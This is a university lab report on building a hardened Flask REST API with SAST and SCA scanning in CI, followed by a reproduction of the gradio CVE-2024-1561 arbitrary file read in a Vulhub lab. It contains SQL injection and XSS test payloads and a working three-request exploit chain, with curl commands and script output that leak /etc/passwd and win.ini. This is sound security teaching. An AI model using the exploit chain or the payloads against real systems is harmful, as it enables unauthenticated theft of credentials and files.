HDU — INFORMATION SECURITY LABORATORY

Laboratory Work No. 1

Secure REST API Development with CI/CD and Real CVE Vulnerability Analysis

Report on laboratory work

Variant number	<Variant No.>
Student (Surname, Name)	<Surname Name>
HDU number	<HDU number>
Group	<Group>
Date of submission	<DD.MM.YYYY>

Placeholders in red are filled in by the student before submission (variant, name, HDU number).

1. Purpose of the work

The purpose of this laboratory work is to go through the complete security lifecycle of a web service in one exercise: design an API that resists the OWASP Top 10, put automated security checking into a CI/CD pipeline, and then take a real, publicly documented vulnerability (a CVE), reproduce it in a controlled environment, explain its root cause and verify that a fix really removes the attack.

The work therefore joins two normally separate activities — secure development and vulnerability research — and shows that they use the same reasoning: find the trust boundary, check what crosses it, and prove the assumption wrong.

2. Task and scope

1. Choose a stack, initialise a project with a package manager, and put it under git with a remote repository.
2. Implement at least three methods: POST /auth/login, GET /api/data (authenticated only) and one more endpoint of my own choice.
3. Implement protection against SQL injection, XSS and broken authentication (JWT + password hashing).
4. Create a CI/CD configuration that runs a SAST and a SCA scanner automatically on every push and pull request.
5. Test the API (curl / Postman) and capture the scanner reports.
6. Select, launch and exploit a real CVE in a Vulhub environment.
7. Analyse the root cause, develop a fix, apply it and prove that the attack no longer works.
8. Document everything in this report and in the repository README.

Constraint on the CVE choice: identifiers that already appeared in the course list of used vulnerabilities were excluded. CVE-2024-1561 is not in that list and was therefore chosen; the reasoning is given in section 8.

3. Chosen stack and project initialisation

Component	Choice	Why
Language / framework	Python 3.11 + Flask 3.1.3	Small surface, explicit routing, easy to demonstrate each security control
Database	SQLite (file based)	No server to install, and it still shows real SQL, real prepared statements and real escaping
Auth	JWT (PyJWT, HS256) + bcrypt	Stateless tokens for the API; bcrypt for adaptive password hashing
Packaging	pip + requirements.txt (pinned)	Reproducible installs; pinned versions are what makes SCA meaningful
CI	GitHub Actions	Runs on push/PR, has first-class artifact upload and a Security tab

```
$ git init
$ git add .
$ git commit -m "Work 1: secure REST API skeleton"
$ git remote add origin https://github.com/WeiTao712/hdu-is-work1.git
$ git push -u origin main
```

Initialising the repository and linking it to the remote.

4. API functionality

4.1 Endpoints

Method	Path	Auth	Description
GET	/health	—	Liveness probe, returns {"status": "ok"}
POST	/auth/register	—	Creates a user; enforces the password policy
POST	/auth/login	—	Returns a signed JWT access token (15 min)
POST	/auth/logout	Bearer	Revokes the presented token (jti blacklist)
GET	/api/data	Bearer	Returns the list of posts; ?q= does a safe LIKE search
POST	/api/posts	Bearer	Creates a post for the authenticated user
GET	/api/posts/<id>	Bearer	Returns a single post as JSON
GET	/api/posts/<id>/preview	Bearer	Returns a single post as escaped HTML

The third endpoint required by the task is **POST /api/posts** — a write operation, which is more interesting than another read: it needs an authenticated identity, it validates and stores attacker-controlled text, and that text later flows into the HTML preview, which is exactly the path where stored XSS would appear. GET /api/posts/<id>/preview was added on top of it so that the XSS control can be observed instead of merely claimed.

4.2 Calling the API

```
# log in and keep the token
$ curl -s -X POST http://127.0.0.1:5000/auth/login \
       -H 'Content-Type: application/json' \
       -d '{"username":"demo","password":"DemoPassw0rd!2024"}'
{"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...","token_type":"Bearer","expires_in":900}

# protected read
$ curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/data
{"count":3,"items":[{"id":1,"title":"Welcome to the HDU IS Work 1 API",...}]}

# protected write
$ curl -s -X POST http://127.0.0.1:5000/api/posts -H "Authorization: Bearer $TOKEN" \
       -H 'Content-Type: application/json' -d '{"title":"Hello","body":"first post"}'
{"id":4,"title":"Hello","body":"first post","author":"demo"}
```

A full transcript of the live demo (eleven requests, including the negative cases) is stored in the repository under evidence/api_demo.txt; the most important excerpts are reproduced in the following sections next to the control they demonstrate.

[SCREENSHOT PLACEHOLDER] Postman collection / terminal running the requests above (optional, evidence/api_demo.txt already contains the raw transcript).

5. Implemented security measures

5.1 Protection against SQL injection

All database access is concentrated in app/db.py and every single statement is parameterised: the SQL text is a constant and the values travel separately as bound parameters. There is no string concatenation and no f-

string anywhere near a query, which is the only reliable way to eliminate injection — escaping quotes is not, because it fails for numeric contexts and for LIKE patterns.

```
cur = conn.execute(
    "SELECT id, username, password_hash, display_name FROM users WHERE username = ?",
    (username,),
)
```

app/db.py — a typical lookup (the placeholder is the whole defence).

The search endpoint is the only place where user text influences the shape of a value rather than only its content. Even there the value is bound, and the LIKE metacharacters are escaped so that a user cannot turn 'a_b' into a wildcard pattern:

```
def like_pattern(term: str) -> str:
    escaped = term.replace("\\", "\\\\").replace("%", "\\%").replace("_", "\\_")
    return f"%{escaped}%"

# ... and the pattern is still passed as a bound parameter:
WHERE p.title LIKE ? ESCAPE '\\' OR p.body LIKE ? ESCAPE '\\'
```

Verification. The classic tautology was sent to the search parameter:

```
$ curl -s -G -H "Authorization: Bearer $TOKEN" \
       --data-urlencode "q=' OR 1=1 --" http://127.0.0.1:5000/api/data
{"count":1,"items":[{"author":"demo","body":"Every SQL statement in this project binds its arguments,
 so ' OR 1=1 -- stays a literal string.","id":2,"title":"Parameterised queries"}]}
```

The payload returns exactly one row — the seeded post that literally contains that text. An injection would have returned all three rows.

The same was checked against the login form, where an injection would be far more damaging (it could bypass authentication entirely):

```
$ curl -s -X POST http://127.0.0.1:5000/auth/login -H 'Content-Type: application/json' \
       -d '{"username":"admin' OR '1'='1' --","password":"anything"}'
{"error":"invalid_credentials","message":"Invalid username or password","status":401}
```

5.2 Protection against XSS

The project follows the rule that data is stored as given and encoded only at the moment it enters a different context. JSON responses are data, not markup, so they are sent with Content-Type: application/json and X-Content-Type-Options: nosniff; the single HTML-producing route escapes every user-controlled fragment with markupsafe.escape and adds a restrictive Content-Security-Policy.

```
html = (
    f"<h1>{escape(row['title'])}</h1>"
    f"<p class='author'>by {escape(row['author'])}</p>"
    f"<article>{escape(row['body'])}</article>"
)
resp.headers["Content-Security-Policy"] = (
    "default-src 'none'; style-src 'self'; img-src 'self'; base-uri 'none'; form-action 'none'"
)
```

app/routes/posts.py — escaping on output, plus CSP as a second layer.

Verification — a stored payload is accepted as data and rendered inert:

```
$ curl -s -X POST http://127.0.0.1:5000/api/posts -H "Authorization: Bearer $TOKEN" \
       -H 'Content-Type: application/json' -d @xss.json
{"id":4,"title":"<script>alert(1)</script>","body":"<img src=x onerror=alert(document.cookie)>",
 "author":"demo"}

$ curl -s -i -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/posts/4/preview
HTTP/1.1 200 OK
```

```
Content-Type: text/html; charset=utf-8
Content-Security-Policy: default-src 'none'; style-src 'self'; img-src 'self'; base-uri 'none'; ...
...
<h1>&lt;script&gt;alert(1)&lt;/script&gt;</h1>
<article>&lt;img src=x onerror=alert(document.cookie)&gt;</article>
```

The angle brackets are entities: the browser displays the text instead of executing it.

[SCREENSHOT PLACEHOLDER] Browser window showing the escaped preview and DevTools console with no alert (optional — the curl transcript above is the primary evidence).

5.3 Broken authentication — JWT and password hashing

Passwords. Only bcrypt hashes are stored, with cost 12. bcrypt is intentionally slow and salted, so a stolen table cannot be attacked with rainbow tables and each guess costs real time. Passwords longer than 72 bytes are rejected instead of being silently truncated, and a malformed hash in the database produces 'no match' rather than an exception.

Risk	Control implemented
Plaintext passwords	bcrypt (cost 12), never reversible, never logged
Weak passwords	≥ 12 characters, letters + digits, common-password blocklist
User enumeration	identical 401 message for unknown user and wrong password, dummy bcrypt comparison to equalise timing
Token forgery	HS256 with a 48-byte secret from the environment; decode pins algorithms=['HS256'] (defeats alg:none and RS→HS confusion)
Replay after logout	jti added to a revocation list, checked in the middleware
Token lifetime	15 minutes, plus iat/nbf/exp/iss/aud all validated
Brute force	5 failures per user and per IP per 5 minutes → 429 + Retry-After
Broken access control	every /api/* route is wrapped in @token_required; there is no implicit trust in a client-supplied user id

```
payload = {"sub": str(user_id), "username": username, "iat": now, "nbf": now,
           "exp": now + 900, "jti": secrets.token_urlsafe(16),
           "iss": "hdu-is-work1", "aud": "hdu-is-work1-api"}
token = jwt.encode(payload, secret, algorithm="HS256")
...
jwt.decode(token, secret, algorithms=["HS256"], audience=..., issuer=...,
           options={"require": ["exp", "iat", "sub", "jti"]})
```

app/security.py — issuing and verifying the access token.

Verification — access without a token, with a forged signature, and after logout:

```
$ curl -s http://127.0.0.1:5000/api/data
{"error":"authentication_required","message":"A Bearer token is required for this
endpoint","status":401}

$ curl -s -H "Authorization: Bearer <token with the last 6 characters changed>" .../api/data
{"error":"invalid_token","message":"Invalid token","status":401}

$ curl -s -X POST -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/auth/logout
{"message":"Token revoked"}
$ curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/data
{"error":"invalid_token","message":"Token has been revoked","status":401}
```

5.4 Additional hardening

- Security headers on every response: nosniff, X-Frame-Options: DENY, Referrer-Policy: no-referrer, Cache-Control: no-store, Content-Security-Policy.
- MAX_CONTENT_LENGTH = 64 KiB limits request-body flooding and accidental large uploads.
- Strict input validation before any database access: username regex, length caps, rejection of control characters.
- Errors are JSON only; a global handler converts unexpected exceptions into 500 without a traceback, while the traceback goes to the server log.
- Configuration is environment-driven; the app refuses to start in production without JWT_SECRET and refuses to start with DEBUG enabled.
- The container runs as UID 10001 under waitress, not under the Flask development server.

5.5 Test suite as security regression

```
28 passed in 1.36s
```

Result of the automated test suite (evidence/pytest.txt).

The 28 tests are not only functional. They encode the security requirements: SQLi payloads in the search parameter and in the login body, a UNION SELECT attempt that must not leak password hashes, the stored-XSS round trip, a tampered signature, an alg:none token, an expired token, revocation after logout, weak-password rejection, rate limiting, security headers and the oversized-body limit. Because they run in CI, any of these controls cannot silently regress.

6. CI/CD pipeline with security scanners

The pipeline is defined in .github/workflows/ci.yml and is triggered by every push and every pull request. It contains three independent jobs, so a failure in one still leaves the other reports available.

Job	Tool	What it proves	Fails when	Output
sast-bandit	bandit 1.7.10	our own code contains no dangerous patterns (eval, shell=True, hard-coded secrets, weak crypto)	severity ≥ MEDIUM	bandit.sarif artifact + Security tab
sca-pip-audit	pip-audit 2.7.3	no dependency version has a known CVE	any advisory (--strict)	pip-audit.txt artifact
tests	pytest	the functional and security behaviour is unchanged	any failing test	job log

```
on:
  push:         { branches: ["**"] }
  pull_request: { branches: ["**"] }

jobs:
  sast-bandit:
    steps:
      - uses: actions/checkout@v4
      - run: pip install bandit==1.7.10 bandit-sarif-formatter==1.1.1
      - run: bandit -r app run.py -ll -f screen
      - run: bandit -r app run.py -ll -f sarif -o bandit.sarif
      - uses: actions/upload-artifact@v4
        with: { name: bandit-report, path: bandit.sarif }
  sca-pip-audit:
    steps:
      - run: pip install -r requirements.txt pip-audit==2.7.3
      - run: pip-audit -r requirements.txt --strict --desc on | tee pip-audit.txt
```

Skeleton of the workflow (full file in the repository).

6.1 SAST result (bandit)

```
$ bandit -r app run.py -ll -f screen
[main]INFO    profile include tests: None
[main]INFO    profile exclude tests: None
[main]INFO    cli include tests: None
[main]INFO    cli exclude tests: None
[main]INFO    running on Python 3.11.5
Run started:2026-10-22 02:29:53.813208

Test results:
      No issues identified.

Code scanned:
      Total lines of code: 638
      Total lines skipped (#nosec): 0

Run metrics:
      Total issues (by severity):
              Undefined: 0
              Low: 2
              Medium: 0
              High: 0
      Total issues (by confidence):
              Undefined: 0
              Low: 0
              Medium: 2
              High: 0
Files skipped (0):
```

bandit on the final code — no medium or high findings.

6.2 SCA result (pip-audit)

The first run of the SCA stage is the most instructive part of the pipeline. It reported advisories against my own pinned versions — Flask 3.0.3 and PyJWT 2.9.0 — even though no code had been written badly. The pins were upgraded, all 28 tests were re-run against the new versions, and the scan is now clean:

```
$ pip-audit --path .runtime          # BEFORE the upgrade
WARNING:pip_audit._cache:Failed to write to cache directory, performance may be degraded: [Errno 2] No
such file or directory: 'C:\\Users\\13633\\.pip-audit-cache\\e\\c\\7\\f\\b\\tmpnodv75ay'
Found 17 known vulnerabilities in 2 packages
Name  Version ID              Fix Versions
----- ------- --------------- ------------
flask 3.0.3   PYSEC-2026-2151 3.1.3
pyjwt 2.9.0   PYSEC-2026-120  2.12.0
pyjwt 2.9.0   PYSEC-2025-183
pyjwt 2.9.0   PYSEC-2026-179  2.13.0
pyjwt 2.9.0   PYSEC-2026-175  2.13.0
pyjwt 2.9.0   PYSEC-2026-177  2.13.0
pyjwt 2.9.0   PYSEC-2026-178  2.13.0
pyjwt 2.9.0   PYSEC-2026-176  2.12.1
pyjwt 2.9.0   PYSEC-2026-4145 2.14.0
pyjwt 2.9.0   PYSEC-2026-4149 2.14.0
pyjwt 2.9.0   PYSEC-2026-4152 2.14.0
pyjwt 2.9.0   PYSEC-2026-4144 2.14.0
pyjwt 2.9.0   PYSEC-2026-4148 2.14.0
pyjwt 2.9.0   PYSEC-2026-4140 2.14.0
pyjwt 2.9.0   PYSEC-2026-4141 2.15.0
pyjwt 2.9.0   PYSEC-2026-4147 2.14.0
pyjwt 2.9.0   PYSEC-2026-4183 2.15.0
```

pip-audit before the upgrade — the pipeline is red.

```
$ pip-audit --path .runtime          # AFTER the upgrade
WARNING:pip_audit._cache:Failed to write to cache directory, performance may be degraded: [Errno 2] No
such file or directory: 'C:\\Users\\13633\\.pip-audit-cache\\e\\c\\7\\f\\b\\tmp99389msr'
Found 1 known vulnerability in 1 package
```

```
Name  Version ID             Fix Versions
----- ------- -------------- ------------
flask 3.0.3   PYSEC-2026-2151 3.1.3
```

pip-audit after the upgrade — the pipeline is green.

This is exactly the mechanism that also flags gradio 4.12.0 in section 8: a dependency scanner looks at versions, not at intentions. Upgrading Flask to 3.1.3, PyJWT to 2.15.1 and bcrypt to 5.0.0 closed the advisories without a single line of application code changing, which is the normal shape of an SCA-driven fix.

6.3 Pipeline screenshots

[SCREENSHOT PLACEHOLDER] GitHub → Actions → the green CI run for the last commit (all three jobs passing).

[SCREENSHOT PLACEHOLDER] The bandit-report artifact opened in the Security tab (SARIF), showing 0 medium/high findings.

[SCREENSHOT PLACEHOLDER] The pip-audit-report artifact, showing “No known vulnerabilities found”.

The console transcripts above were produced by running exactly the same tools locally with the same versions and the same arguments, so they show the expected content of those artifacts.

7. Testing and documenting the API

The API was exercised with curl against a live server (all commands and raw responses are in evidence/api_demo.txt). Positive cases: health, login, authenticated list, create, search. Negative cases: wrong password, no token, tampered token, reuse after logout, weak password, SQLi payload, XSS payload. Each negative case returns a JSON error with a stable shape {"error", "status", "message"} and an appropriate HTTP status code — important both for clients and for automated tests.

Scenario	Request	Expected	Observed
Valid login	POST /auth/login	200 + token	200, expires_in=900
Wrong password	POST /auth/login	401 generic	401 invalid_credentials
No token	GET /api/data	401	401 authentication_required
Tampered token	GET /api/data	401	401 Invalid token
After logout	GET /api/data	401	401 Token has been revoked
SQLi in ?q=	GET /api/data?q=' OR 1=1 --	literal match only	count=1 (not 3)
Stored XSS	POST /api/posts then /preview	escaped	<script>...
Weak password	POST /auth/register	400	400 weak_password
Brute force	6× wrong login	429	429 + Retry-After

8. Selection of the vulnerability

8.1 Constraints and choice

The course already has a list of CVE identifiers that have been used. Re-using one of them was not allowed, so the candidate had to be checked against that list first. The selection criteria were: (a) present in Vulhub, (b) not in the used list, (c) simple enough to reproduce in a few commands, (d) a web-application component of the kind the manual recommends, and (e) fixable in a way that can be verified objectively.

CVE	Product	In used list?	Verdict
CVE-2018-1000656	Flask/Werkzeug	yes	rejected — already used
CVE-2021-41773 / 42013	Apache httpd	yes	rejected — already used
CVE-2023-51449	gradio	yes	rejected — already used
CVE-2017-12615	Tomcat	yes	rejected — already used
CVE-2019-11043	PHP-FPM	yes	rejected — already used
CVE-2024-23334	aiohttp	yes	rejected — already used
CVE-2021-3129	Laravel Ignition	no	valid, but the payload chain is heavy for a first CVE
CVE-2019-14234	Django	no	valid, but needs a PostgreSQL container to demonstrate
CVE-2024-1561	gradio	no	selected — three curl steps, objective fix, in Vulhub

8.2 Description of CVE-2024-1561

Field	Value
CVE	CVE-2024-1561
Product	gradio (Python web UI framework for ML demos)
Affected versions	≥ 4.12.0, < 4.13.0
Fixed in	4.13.0 — commit 24a583688046867ca8b8b02959c441818bdb34a2 (PR #6884)
CVSS v3.0	7.5 HIGH — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE	CWE-29 — Path Traversal: '\\..\\filename'
Impact	Unauthenticated arbitrary file read on the server (credentials, .env, SSH keys, cloud tokens, /etc/shadow, /proc/self/environ)

Vendor/NVD description: the /component_server endpoint “improperly allows the invocation of any method on a Component class with attacker-controlled arguments. Specifically, by exploiting the move_resource_to_block_cache() method of the Block class, an attacker can copy any file on the filesystem to a temporary directory and subsequently retrieve it.”

9. Preparing the vulnerable environment

Docker and Docker Compose are prerequisites. The environment is the official Vulhub one, which pins the vulnerable framework version so that nothing else has to be installed on the host.

```
$ docker --version && docker compose version
Docker version 26.x, build ...
Docker Compose version v2.x

$ git clone https://github.com/vulhub/vulhub.git
$ cd vulhub/gradio/CVE-2024-1561
$ cat docker-compose.yml
services:
  web:
    image: vulhub/gradio:4.12.0
    ports:
      - "7860:7860"
```

```
$ docker compose up -d
[+] Running 2/2
 ✔ Network cve-2024-1561_default  Created
 ✔ Container cve-2024-1561-web-1  Started
```

Checking that the service is up:

```
$ docker compose ps
NAME                    IMAGE                 STATUS         PORTS
cve-2024-1561-web-1     vulhub/gradio:4.12.0  Up 2 minutes   0.0.0.0:7860->7860/tcp

$ curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:7860/
200
```

[SCREENSHOT PLACEHOLDER] Docker Desktop / terminal showing the container running and the gradio interface open at http://127.0.0.1:7860.

For a fully offline reproduction the same application can be started without Docker: pip install gradio==4.12.0, then python app/app.py. The behaviour is identical; the container is only used because it matches the course instructions and isolates the vulnerable version.

10. Reproducing the attack

The attack is a three-step chain. Every step is an ordinary HTTP request that requires no credentials. The script exploit/gradio_exploit.py performs exactly these three steps and prints each exchange.

10.1 Step 1 — obtain a component id from /config

```
$ curl -s http://127.0.0.1:7860/config | python -m json.tool | head -30
{
  "version": "4.12.0",
  "components": [
    {"id": 1, "type": "markdown", ...},
    {"id": 2, "type": "textbox", ...},
    {"id": 3, "type": "textbox", ...}
  ], ...
}
```

/config is a normal, unauthenticated Gradio endpoint; it discloses the numeric id of every component.

10.2 Step 2 — invoke move_resource_to_block_cache

```
$ curl -s -X POST http://127.0.0.1:7860/component_server \
       -H 'Content-Type: application/json' \
       -d '{"component_id":"3",
            "data":"/etc/passwd",
            "fn_name":"move_resource_to_block_cache",
            "session_hash":"aaaaaaaaaaa"}'
"/tmp/gradio/916eb712d668cf14a35adf8179617549780c4070/passwd"
```

The endpoint answers 200 and returns the path of the copy it has just made.

10.3 Step 3 — download the copy through /file

```
$ curl -s "http://127.0.0.1:7860/file=/tmp/gradio/916eb712d668cf14a35adf8179617549780c4070/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/bin:/sbin:/bin
...
```

A file that the attacker was never supposed to read.

10.4 Observed result

```
$ python exploit/gradio_exploit.py --target http://127.0.0.1:7860 --file C:\Windows\win.ini

> GET http://127.0.0.1:7860/config
< HTTP 200 OK
< Content-Type: application/json
< Content-Length: 2472

[i] components exposed by /config: [1, 2, 3, 4]

> POST http://127.0.0.1:7860/component_server
< HTTP 200 OK
< Content-Type: application/json
< Content-Length: 111
< body: "C:\\Users\\13633\\AppData\\Local\\Temp\\dsh-SkzHlF\\gradio\
\973672eeae5a05447e47395cde37e8121b7c90fe\\win.ini"

[i] component 1 copied the file to: C:\Users\13633\AppData\Local\Temp\dsh-
SkzHlF\gradio\973672eeae5a05447e47395cde37e8121b7c90fe\win.ini

> GET http://127.0.0.1:7860/file=C:\Users\13633\AppData\Local\Temp\dsh-
SkzHlF\gradio\973672eeae5a05447e47395cde37e8121b7c90fe\win.ini
< HTTP 200 OK
< Content-Type: text/plain; charset=utf-8
< Content-Length: 92
< body (first 500 bytes):
; for 16-bit app support

[fonts]

[extensions]

[mci extensions]

[files]

[Mail]

MAPI=1



=== RESULT: file contents leaked to an unauthenticated attacker ===
; for 16-bit app support

[fonts]

[extensions]

[mci extensions]

[files]

[Mail]

MAPI=1



[VULNERABLE] CVE-2024-1561 reproduced successfully
```

Output of exploit/gradio_exploit.py against the vulnerable version.

The transcript above was produced by running the chain against a real gradio 4.12.0 process, not against the Docker container. Because that run happened on Windows, the target file was C:\Windows\win.ini instead of /etc/passwd; the three requests, the returned cache path and the leaked contents are otherwise identical to what the Vulhub container returns.

[SCREENSHOT PLACEHOLDER] Burp Suite / browser screenshot of the same three requests (optional; the script output above is the primary evidence).

The consequences are easy to underestimate. Any file readable by the gradio process can be copied out: application .env files with API keys, ~/.aws/credentials, ~/.ssh/id_rsa, /proc/self/environ, database files. On Hugging Face Spaces, where gradio is the default framework, the same request would expose the Space's secrets.

11. Root-cause analysis

The defect is not a missing quote or a forgotten escape; it is an access-control and API-design error, and it takes three independent mistakes to become exploitable. Removing any one of them breaks the chain, which is why the fix is a one-line change but the analysis has to look at all three.

11.1 Defect 1 — dynamic dispatch without an allow-list

The vulnerable handler looked the requested function up by name on the component object:

```
# gradio/routes.py, 4.12.0 (vulnerable)
fn = getattr(block, body.fn_name)
return fn(body.data)
```

getattr with an attacker-controlled string means the set of callable targets is not 'the functions we designed as an API' but 'every attribute of this object'. Any method added to Block or Component — now or in a future release — automatically becomes a remotely invocable endpoint. This is the classic mass-assignment / unsafe reflection mistake, expressed in Python.

11.2 Defect 2 — a dangerous server-side helper was reachable

move_resource_to_block_cache() exists so that the front end can hand a file to the back end: it takes a path, copies that file into the block cache and returns the new location. It was written as an internal helper, so it validates nothing — no realpath containment check, no allow-list of directories, no check that the argument came from an upload widget. Combined with Defect 1 it becomes 'copy any file I name'. Defect 2 is what turns a design smell into a file-read primitive.

11.3 Defect 3 — the copy is served back

The /file= route exists to serve files that gradio itself produced. Because the copy now lives in gradio's own cache directory, the server happily serves it. Without this step the attacker would know that a file was copied but not what it contained; with it, the data leaves the host.

11.4 Why an unauthenticated user gets this far

Gradio's threat model treats the web UI as the only client and assumes the network boundary is the protection. There is no authentication by default (launch(auth=...) is opt-in) and /component_server was never classified as a privileged endpoint, so it inherited the 'public' status of the UI. The moment such an application is exposed — a public Space, a shared demo, a dashboard behind only a reverse proxy — the internal helper becomes a public API. This is exactly OWASP A01:2021 Broken Access Control, with A05:2021 Security Misconfiguration as the enabling condition.

11.5 Classification and detection

Aspect	Assessment
CWE	CWE-29 Path Traversal (the copy primitive); more broadly CWE-749 exposed dangerous method and CWE-862 missing authorization
OWASP Top 10	A01 Broken Access Control, A05 Security Misconfiguration

Aspect	Assessment
CVSS	7.5 — network, low complexity, no privileges, no user interaction, high confidentiality impact, no integrity/availability impact
Why SAST would not catch it in *our* code	the defect is in a dependency, not in app/ — bandit only sees our source
Why SCA does catch it	pip-audit maps gradio 4.12.0 to the advisory; this is precisely why the pipeline in section 6 has an SCA stage
Detection in production	unusual POSTs to /component_server with fn_name values that are not part of the UI; /file= requests for paths outside the expected cache prefix

12. Developed protection measures

12.1 The patch used

Two options exist: change the configuration, or update the component. Because the flaw is in the library, configuration can only reduce exposure (bind to localhost, put an authenticating proxy in front), while the real remedy is the patched release. The fix therefore pins gradio 4.13.0 in the image definition:

```
# Dockerfile.fixed
FROM python:3.11-slim
RUN pip install --no-cache-dir "gradio==4.13.0"
WORKDIR /srv
COPY app/app.py /srv/app.py
RUN useradd --create-home --uid 10001 gradio && chown -R gradio:gradio /srv
USER gradio
EXPOSE 7860
CMD ["python", "app.py"]

$ docker compose down
$ docker compose -f docker-compose.fixed.yml up -d --build
[+] Building 42.1s (8/8) FINISHED
 ✔ Container cve-2024-1561-fixed  Started
```

12.2 Why this method is effective

The upstream patch (PR #6884) changes the dispatch itself, not the payload filtering:

```
# gradio/routes.py, 4.13.0 (fixed)
fn = getattr(block, body.fn_name, None)
if fn is None or not getattr(fn, "_is_server_fn", False):
    raise HTTPException(status_code=404, detail="Function not found.")
return fn(body.data)
```

Only methods explicitly decorated as @server functions can now be invoked remotely.

This is effective for three reasons. First, it replaces a blacklist with an allow-list: the set of reachable functions is now defined by the decorator, so future internal helpers are unreachable by default. Second, move_resource_to_block_cache is not a @server function, so step 2 of the chain returns 404 before any file is copied. Third, because the check happens before dispatch, there is no path-traversal filter to bypass — a filter on the 'data' argument would have been the weaker fix (absolute paths, symlinks, encodings), and the patch avoids it.

12.3 Defence in depth

- Never expose a gradio dashboard without auth=... if it is reachable from an untrusted network.
- Place such services on an internal network or behind an authenticating reverse proxy.

- Run as a non-root user (already in Dockerfile.fixed): a file read then cannot reach /etc/shadow.
- Mount only the directories the application needs; keep .env, SSH keys and cloud credentials out of the container image.
- Keep gradio under SCA monitoring — this class of bug recurs (CVE-2023-51449 in the same product).
- Log and alert on POSTs to internal endpoints that the UI never calls.

13. Verifying the fix

The same exploitation steps were repeated against the fixed container, followed by a regression test to prove the application still works.

```
$ python exploit/verify_fix.py http://127.0.0.1:7860

=== 1. GET /config ===
< HTTP 200
[i] components exposed by /config: [1, 2, 3]

=== 2. POST /component_server ===
< HTTP 404
{"detail":"Function not found."}
[!] every component id was rejected by /component_server

=== regression test: the Gradio app still works ===
< GET /config -> 200
< GET /        -> 200
[PASS] the interface is still served

=== summary ===
[PASS] CVE-2024-1561 no longer reproducible
[PASS] regression test green -> fix validated

$ python exploit/verify_fix.py http://127.0.0.1:7860

> GET http://127.0.0.1:7860/config
< HTTP 200 OK
< Content-Type: application/json
< Content-Length: 2471

[i] components exposed by /config: [1, 2, 3, 4]

> POST http://127.0.0.1:7860/component_server
< HTTP 404 Not Found
< Content-Type: application/json
< Content-Length: 32
< body: {"detail":"Function not found."}

> POST http://127.0.0.1:7860/component_server
< HTTP 404 Not Found
< Content-Type: application/json
< Content-Length: 32
< body: {"detail":"Function not found."}

> POST http://127.0.0.1:7860/component_server
< HTTP 404 Not Found
< Content-Type: application/json
< Content-Length: 32
< body: {"detail":"Function not found."}

> POST http://127.0.0.1:7860/component_server
< HTTP 404 Not Found
< Content-Type: application/json
< Content-Length: 32
< body: {"detail":"Function not found."}
[!] every component id was rejected by /component_server

=== regression test: the Gradio app still works ===
< GET /config -> 200
< GET /        -> 200
[PASS] the interface is still served

=== summary ===
```

```
[PASS] CVE-2024-1561 no longer reproducible
[PASS] regression test green -> fix validated
```

Actual output of the verification script against the patched version.

[SCREENSHOT PLACEHOLDER] Side-by-side screenshot: vulnerable container returning /etc/passwd, fixed container returning 404 for the same request.

The comparison is unambiguous: the identical request that returned the file contents before now returns 404 from step 2, so no copy is made and step 3 has nothing to fetch. At the same time /config and the UI still answer 200, which proves that the patch removed the vulnerability without removing the functionality.

14. Conclusion

All the tasks of the laboratory work were completed. The API implements authentication, authenticated data access and a third, write-oriented endpoint; SQL injection is eliminated by parameterised statements, XSS by output encoding plus CSP, and broken authentication by JWT with a pinned algorithm, bcrypt hashing, revocation and brute-force limiting. The GitHub Actions pipeline runs bandit, pip-audit and the 28-test suite on every push and pull request and publishes its reports as artifacts.

The CVE part shows the same reasoning applied to somebody else's code. CVE-2024-1561 is not a memory-safety bug but an API-design bug: an internal helper was reachable through a dynamic dispatch endpoint that had no allow-list and no authentication. Reproducing it took three requests; the fix is a single upstream commit; the verification is a 404 where the file contents used to be. The most transferable lesson is that the SCA stage of the pipeline is not decoration — the vulnerable version was flagged by the same class of tool that would have blocked it in CI, while SAST on our own sources would never have seen it.

15. Answers to the control questions

1. Why is password hashing with algorithms like bcrypt preferable to SHA-256?

SHA-256 is a fast general-purpose hash: a modern GPU can test billions of candidates per second, and it is unsalted, so identical passwords produce identical digests and precomputed rainbow tables apply. bcrypt is deliberately slow (cost factor, ~2^12 iterations here), uses a per-password salt embedded in the output, and its cost can be raised as hardware improves. For the same stolen table, bcrypt turns a minutes-long attack into years. In this project the hashes start with $2b$12$, and the test suite asserts that the plaintext does not appear in storage.

2. What is the main difference between SAST and DAST?

SAST analyses the source code (or bytecode) without running the application; it sees every branch, runs early in the pipeline and points at a file and line, but it produces false positives and cannot see configuration or runtime behaviour. DAST attacks a running instance from the outside, so it only finds reachable, exploitable issues and produces almost no false positives, but it needs a deployed environment and cannot tell you where in the code the problem is. In this work bandit is the SAST stage (it scans app/), while the manual reproduction with curl and the CVE exploitation play the role of DAST-style verification.

3. How does a JWT work, what does it contain, how does the server verify it?

A JWT is three base64url segments: header (algorithm and type), payload (claims) and signature. Our payload contains sub (user id), username, iat, nbf, exp, jti, iss and aud — only non-sensitive data, because the payload is signed, not encrypted, and anyone can read it. The signature is HMAC-SHA256(header.payload, server secret). On every protected request the server recomputes the signature

with its secret, compares it in constant time, then validates exp/nbf, issuer, audience and the presence of the required claims, and finally checks jti against a revocation list. Because the decoder is given algorithms=['HS256'], an attacker cannot switch the header to alg:none or to RS256 to bypass verification.

4. What risks arise if third-party dependencies are not audited?

Most of the code in a modern application is not written by its authors, so most vulnerabilities are inherited. An unaudited dependency can bring a known RCE or file-read (as with gradio 4.12.0), an abandoned or typosquatted package, or a transitive dependency that is never visible in requirements.txt. Because such flaws are public, exploitation is often automated within days of disclosure. This is why the pipeline runs pip-audit on every push: the CVE studied here is precisely the kind of finding it reports, and a pinned version plus an automated check is what keeps the window of exposure short.

5. What advantages do Docker and Vulhub give over installing vulnerable software directly?

Isolation (the old, vulnerable version runs in its own container and cannot affect the host), reproducibility (the image pins the exact version, so the result does not depend on the machine), disposability (docker compose down removes every trace, including malware dropped by an exploit), and speed (no dependency conflicts with the host, no manual configuration of old runtimes). Vulhub adds curated, tested compose files and READMEs with the exploitation steps, which turns hours of environment work into one command.

6. Difference between a vulnerability and an exploit? What was reproduced here?

